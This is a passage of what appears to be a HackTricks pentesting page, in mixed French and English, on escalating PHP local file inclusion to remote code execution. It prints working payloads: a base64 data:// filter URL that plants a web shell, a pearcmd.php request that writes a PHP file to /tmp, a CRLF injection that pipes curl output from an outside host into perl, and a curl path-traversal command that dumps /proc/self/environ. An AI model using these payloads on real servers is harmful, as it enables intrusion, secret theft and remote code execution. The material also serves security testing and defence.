http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

This writeup explique que vous pouvez utiliser les php filters to generate arbitrary content en sortie. Cela signifie essentiellement que vous pouvez generate arbitrary php code pour l’include without needing to write dans un fichier.

LFI2RCE via PHP Filters

Via segmentation fault

Upload un fichier qui sera stocké comme temporary dans /tmp, puis, dans la same request, provoquez un segmentation fault, et alors le temporary file won’t be deleted et vous pourrez le rechercher.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Si vous trouvez une Local File Inclusion et que Nginx est placé devant PHP, vous pourriez obtenir une RCE avec la technique suivante :

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Si vous trouvez une Local File Inclusion même si vous don’t have a session et que session.auto_start est Off. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS dans des données multipart POST, PHP enable the session for you. Vous pouvez abuser de cela pour obtenir une RCE :

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Si vous trouvez une Local File Inclusion et que le serveur tourne sous Windows, vous pourriez obtenir une RCE :

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, it’s possible to pass arguments to the script via the URL because it’s indicated that if a URL param doesn’t have an =, it should be used as an argument. See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

L’exemple suivant exploite une vuln CRLF pour obtenir RCE (d’après here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Si vous avez trouvé une Local File Inclusion et un fichier affichant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE :

LFI2RCE via phpinfo()

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Si vous avez trouvé une Local File Inclusion et que vous pouvez exfiltrer le chemin du fichier temporaire MAIS que le serveur vérifie si le fichier à inclure contient des balises PHP, vous pouvez essayer de contourner cette vérification avec cette Race Condition :

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Via eternal waiting + bruteforce

Si vous pouvez abuser de la LFI pour téléverser des fichiers temporaires et faire que le serveur bloque l’exécution PHP, vous pouvez ensuite brute force les noms de fichiers pendant des heures pour trouver le fichier temporaire :

LFI2RCE via Eternal waiting

Vers une erreur fatale

Si vous incluez l’un des fichiers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Vous devez inclure le même deux fois pour provoquer cette erreur).

Je ne sais pas en quoi cela est utile mais ça pourrait l’être.
Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP téléversés sont supprimés.

Preserve traversal sequences from the client

Some HTTP clients normalize or collapse ../ before the request reaches the server, breaking directory traversal payloads. Use curl --path-as-is to keep traversal untouched when abusing log/download endpoints that concatenate a user-controlled filename, and add --ignore-content-length for pseudo-files like /proc:

curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'

Ajustez le nombre de segments ../ jusqu’à sortir du répertoire prévu, puis dump /etc/passwd, /proc/self/cwd/app.py, ou d’autres fichiers source/config.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks